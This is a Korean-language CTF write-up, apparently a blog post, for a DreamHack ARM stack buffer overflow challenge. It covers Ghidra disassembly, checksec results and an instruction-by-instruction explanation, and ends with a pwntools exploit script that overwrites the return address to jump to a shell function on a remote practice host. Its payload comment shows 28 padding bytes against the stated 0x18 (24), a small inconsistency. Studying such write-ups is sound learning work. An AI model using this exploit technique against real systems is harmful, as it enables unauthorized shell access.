1 기드라로 바이너리 분석
1) main 함수
- auStack_1c 배열에 20바이트 만큼의 공간 할당
- read() 함수를 이용해 해당 버퍼에 200만큼의 입력 바음
=> 따라서, 스택 버퍼 오버플로우 취약점을 이용하여, main 함수의 리턴 주소를 덮어쓰는 행위 수행 가능
- 해당 취약점의 공격 방식 결정을 위해 checksec 수행
=> 스택카나리 및 PIE는 비활성화 되어 있고, NX만 황성화 되어 있는 것으로 보여 code 영역에위치한 가젯 주소 필요
(NX : 프로세스 명령어와 코드 또는 데이터 저장을 위한 메모리 영역을 따로 분리하는 cpu 기술)
[코드 분석 상세]
1-1) stmdb sp!, {r11,lr}
> opcode : stmdb => Store Multiple Decrement Before : 여러 레지스터 스택에 저
> operands :
>> sp! : sp 레지스터는 스택포인터이며, !는 연산후 갱신된 값을 sp에 반영한다.
>> 레지스터 r11과 lr(반환주소)의 내용을 스택에 저장
> r11과 lr을 스택에 저장하고 sp 값을 갱신한다.
1-2) add r11, sp, #0x4
> opcode : add
> operands
>> r11 : 결과 저장할 레지스터
>> sp : 기준 레지스터
>> #0x4 : 더할 즉시 값
> sp + 4의 결과를 r11에 설정해 현재 스택 프레임의 최상단으로 프레임 포인터를 이동시
1-3) sub sp, sp, #0x18
> opcode : sub
> operands
>> sp : 결과와 기준이 될 레지스터
>> #0x18 : 즉시 뺄 값
> 스택포인터에서 0x18 (24) 를 빼서 로컬 변수를 위한 공간을 만듬
1-4) bl init
> opcode : bl (Branch with Link)
=> 함수 호출과 관련된 명령어로, 프로그램 흐름을 현재 위치에서 다른 위치로 이동시키면서 현재 위치의 다음 명령어
주소를 링크 레지스터(lr 또는 r14)에 저장
> operands :
>> init : 함수 init의 주소를 나타냄
> init 함수를 호출하고 반환 주소를 lr에 저장
1-5) sub r3, r11, #0x18
> opcode : sub
> operands :
>> r3 :결과 저장
>> r11 : 기준 레지스터
>> #0x18 : 즉시 뺄 값
> 프레임 포인터를 기준으로 r11(=FP)에서 0x18 뺀 값을 할당 과 lr을 스택에 저장하고 sp 값을 갱신한다.
1-6)
0x10588~0x10590 주소의 명령어들은 read() 함수를 호출하기 위해 인자로 주어지는 r0, r1, r2 레지스터들을 세팅
> r2 : 0xc8 (200) 할당
> r1 : r3 할당 (0x10584 주소의 값 r11(=FP) 에서 0x18을 뺀 값 => arm sp에서 FP가 LR(return address)을 카리킨다는 점을 생각해봤을 때 0x18 바이트 만큼 값을 적으면 리턴 주소를 덮어 쓸 수 있)
> r0 : 0 할
2) gadget 함수 (문제의 편의성을 위해, code 영역에 shell() 함수 제공)
2. 공격 시나리오
1) main 함수 입력 값에 0x18 바이트 만큼 더미 입력
2) 반환 주소에 system(bin/sh) 주소 값을 (0x10560) 호출
3. 익스플로잇 코드
from pwn import *
p = remote('host3.dreamhack.games', 17366)
shell = 0x10560
payload = b'A'*0x18
payload += p32(shell)
//b'AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x60\x05\x01\x00'
p.send(payload)
p.interactive()
//interactive 모드로 실행
'Hacking > DreamHack' 카테고리의 다른 글
textbook-des__crypto (1) | 2024.05.07 |
---|---|
arm traning v2 (0) | 2024.05.07 |
no mov (1) | 2024.04.24 |
uaf_overwrite (1) | 2024.04.09 |
rev-basic-3 (0) | 2024.04.09 |